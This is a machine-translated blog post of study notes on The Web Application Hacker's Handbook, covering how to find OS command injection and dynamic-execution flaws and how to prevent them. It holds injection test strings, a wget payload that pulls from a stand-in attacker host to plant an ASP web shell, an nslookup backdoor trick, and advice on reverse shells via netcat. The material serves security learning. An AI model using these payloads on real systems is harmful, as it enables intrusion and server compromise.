Chapter 10 Attacking Back-End Components(1)-Injecting OS Commands(2)

注入操作系统命令(2)

Posted by D on March 16, 2020

参考:The Web Application Hackers Handbook Chapter 10

1.查找OS命令注入缺陷(Finding OS Command Injection Flaws)

在应用程序映射练习(请参阅第4章)中,您应该已经确定了通过调用外部进程或访问文件系统Web应用程序似乎与基础操作系统进行交互的任何实例。 您应该探究所有这些功能,以查找命令注入缺陷。 但是,实际上,该应用程序可能会发出操作系统命令绝对包含用户提供的任何数据,包括每个URL和主体参数以及每个cookie。 因此,要对应用程序进行全面测试,您需要针对每个应用程序功能中的所有这些项目。

不同的命令解释器以不同的方式处理外壳元字符。 原则上,任何类型的应用程序开发平台或Web服务器都可以调用在自己的操作系统或任何其他主机的操作系统上运行的任何类型的Shell解释器。 因此,您不应基于对Web服务器操作系统的任何了解而对应用程序对元字符的处理做出任何假设。

可以使用两种类型的元字符将单独的命令注入到现有的预设命令中:

  • 那些角色 ; | 换行符可用于批处理多个命令,一个接一个。 在某些情况下,这些字符可能会加倍效果不同。 例如,在Windows命令解释器中,使用&&会使第二个命令仅在第一次成功时运行。 使用|| 不管第一个命令是否成功,都会使第二个命令始终运行。
  • 反引号(`)可用于将单独的命令封装在由原始命令处理的数据项中。 将注入的命令放在反引号内会导致外壳解释程序执行该命令,并在继续执行结果命令字符串之前,用该命令的结果替换封装的文本。

在前面的示例中,很容易验证是否可以进行命令注入并检索注入的命令的结果,因为这些结果在应用程序的响应中立即返回。 但是,在许多情况下,这可能是不可能的。 您可能正在注入 该命令不会返回任何结果,并且不会以任何可识别的方式影响应用程序的后续处理。 否则,您用来注入所选命令的方法可能会因为将多个命令一起批处理而丢失其结果。

通常,检测命令注入是否可能的最可靠方法是使用时延推断,方法与描述盲SQL注入所描述的方法类似。 如果看起来存在潜在的漏洞,则可以使用其他方法进行确认并检索注入命令的结果。

HACK STEPS

  • 1.通常,您可以通过使服务器在特定时间段内对其loopback接口执行ping操作,使用ping命令来触发时间延迟。 Windows和基于UNIX的平台处理命令分隔符和ping命令的方式之间存在细微差别,但是,如果没有适当的过滤,以下通用测试字符串将在这两个平台上引起30秒的时间延迟:
    || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
    

    为了最大程度地在应用程序过滤某些命令分隔符时检测到命令注入缺陷的机会,还应该依次将以下每个测试字符串提交给每个目标参数,并监视应用程序响应所花费的时间:

    | ping –i 30 127.0.0.1 |
    | ping –n 30 127.0.0.1 |
    & ping –i 30 127.0.0.1 &
    & ping –n 30 127.0.0.1 &
    ; ping 127.0.0.1 ;
    %0a ping –i 30 127.0.0.1 %0a
    ` ping 127.0.0.1 `
    
  • 2.如果出现时间延迟,该应用程序可能容易受到命令注入的攻击。 重复测试用例几次,以确认延迟不是由网络延迟或其他异常引起的。 您可以尝试更改-n-i参数的值,并确认经历的延迟随提供的值而系统地变化。
  • 3.使用发现成功的注入字符串中的任何一个,尝试注入更有趣的命令(例如ls或dir)。 确定是否可以将命令结果检索到浏览器。
  • 4.如果无法直接检索结果,则还有其他选择:
    • 4.1 您可以尝试打开带外通道回到您的计算机。 尝试使用TFTP将工具复制到服务器,使用telnet或netcat将反向外壳创建回计算机,并使用mail命令通过SMTP发送命令输出。
    • 4.2 您可以将命令的结果重定向到webroot中的文件,然后可以使用浏览器直接检索该文件。 例如:
      dir > c:\inetpub\wwwroot\foo.txt
      
  • 5.找到注入命令并检索结果的方法后,应确定特权级别(通过使用whoami或类似方法,或尝试将无害文件写入受保护的目录)。 然后,您可以寻求提升特权,获取对敏感应用程序数据的后门访问权限,或攻击可从受感染服务器访问的其他主机。

在某些情况下,由于过滤所需字符或应用程序正在使用的命令API的行为,可能无法注入完全独立的命令。 但是,仍然有可能干扰正在执行的命令的行为以实现某些所需的结果。

在作者看到的一个实例中,应用程序将用户输入传递给操作系统命令nslookup,以查找用户提供的域名的IP地址。 注入新命令所需的元字符被阻止,但允许用于重定向命令的输入和输出的<和>字符。 nslookup命令通常输出域名的IP地址,该域名似乎没有提供有效的攻击媒介。 但是,如果提供了无效的域名,该命令将输出一条错误消息,其中包含已查找的域名。 事实证明,此行为足以发出严重的攻击:

  • 提交服务器可执行脚本代码的片段作为要解析的域名。 可以将脚本封装在引号中,以确保命令解释器将其视为单个令牌。
  • 使用>字符可将命令的输出重定向到网络根目录下的可执行文件夹中的文件。 操作系统执行的命令如下:
    nslookup “[script code]” > [/path/to/executable_file]
    
  • 运行命令时,以下输出将重定向到可执行文件:
    ** server can’t find [script code]: NXDOMAIN
    
  • 然后可以使用浏览器调用该文件,并在服务器上执行注入的脚本代码。 因为大多数脚本语言都允许页面包含客户端内容和服务器端标记的混合,所以攻击者无法控制的错误消息部分仅被视为纯文本,并且将执行注入脚本中的标记。 因此,该攻击成功利用了受限制的命令注入条件,将不受限制的后门引入了应用服务器。

HACK STEPS

  • 1.<>字符分别用于将文件的内容定向到命令的输入并将命令的输出定向到文件。 如果无法使用上述技术来注入完全独立的命令,您仍然可以使用<>字符读取和写入任意文件内容。
  • 2.应用程序调用的许多操作系统命令都接受许多控制其行为的命令行参数。 通常,用户提供的输入将作为这些参数之一传递给命令,并且您可能能够简单地通过在相关参数后面插入一个空格来添加更多参数。 例如,Web创作应用程序可以包含一个功能,其中服务器检索用户指定的URL,并将其内容呈现在浏览器中以进行编辑。 如果应用程序只是调用wget程序,则可以通过附加wget使用的-O命令行参数,将任意文件内容写入服务器的文件系统。 例如:
    url=http://wahh-attacker.com/%20-O%20c:\inetpub\wwwroot\scripts\
    cmdasp.asp
    

TIP 许多命令注入攻击都要求您注入空格以分隔命令行参数。 如果发现应用程序正在过滤空间,并且所攻击的平台是基于UNIX的平台,则可以改用$ IFS环境变量,该变量包含空白字段分隔符。

2.查找动态执行漏洞(Finding Dynamic Execution Vulnerabilities)

动态执行漏洞最常见于PHP和Perl等语言。 但是原则上,任何类型的应用程序平台都可以将用户提供的输入传递给基于脚本的解释器,有时是在不同的后端服务器上。 HACK STEPS

  • 1.用户提供的任何数据都可以传递给动态执行功能。 以这种方式最常使用的一些项目是cookie参数的名称和值以及作为先前操作的结果存储在用户配置文件中的持久性数据。
  • 2.尝试依次提交以下值作为每个目标参数:
    ;echo%20111111
    echo%20111111
    response.write%20111111
    :response.write%20111111
    
  • 3.查看应用程序的响应。 如果字符串111111单独返回(命令字符串的其余部分之前没有返回),则该应用程序很可能容易受到脚本命令的注入。
  • 4.如果未返回字符串111111,请查找任何错误消息,这些消息指示正在动态执行您的输入,并且可能需要微调语法以实现注入任意命令。
  • 5.如果您要攻击的应用程序使用PHP,则可以使用测试字符串phpinfo(),如果成功,它将返回PHP环境的配置详细信息。
  • 6.如果应用程序似乎容易受到攻击,请通过注入一些导致时间延迟的命令进行验证,如先前针对OS命令注入所述。 例如:
    system(‘ping%20127.0.0.1’)
    

3.防止OS命令注入(Preventing OS Command Injection)

通常,防止出现OS命令注入缺陷的最佳方法是避免直接调用操作系统命令。 几乎可以使用内置API来实现Web应用程序可能需要执行的任何可能的任务,这些内置API无法操纵内置API来执行除预期的命令以外的命令。

如果认为不可避免的是将用户提供的数据嵌入到传递给操作系统命令解释器的命令字符串中,则应用程序应执行严格的防御措施以防止出现漏洞。 如果可能,应使用白名单将用户输入限制为一组特定的期望值。 或者,应将输入限制为非常狭窄的字符集,例如仅字母数字字符。 包含任何其他数据(包括任何可能的元字符或空格)的输入应被拒绝。

作为进一步的保护层,应用程序应使用通过其名称和命令行参数启动特定进程的命令API,而不是将命令字符串传递给支持命令链接和重定向的Shell解释器。 例如,Java API Runtime.exec和ASP.NET API Process.Start不支持外壳元字符。如果使用得当,他们可以确保仅执行开发人员想要的命令。 有关命令执行API的更多详细信息,请参见第19章。

4.防止脚本注入漏洞(Preventing Script Injection Vulnerabilities)

通常,避免脚本注入漏洞的最佳方法是不将用户提供的输入或从中获取的数据传递到任何动态执行或包含函数中。 如果出于某种原因认为这是不可避免的,则应严格验证相关输入,以防止发生任何攻击。 如果可能,请使用应用程序期望的已知良好值的白名单,并拒绝该列表中未出现的所有输入。 如果失败,请对照已知无害的集合检查输入中使用的字符,例如不包含空格的字母数字字符。

Chapter 10 Attacking Back-End Components(1)-Injecting OS Commands(1)
Chapter 10 Attacking Back-End Components(2)-Manipulating File Paths

: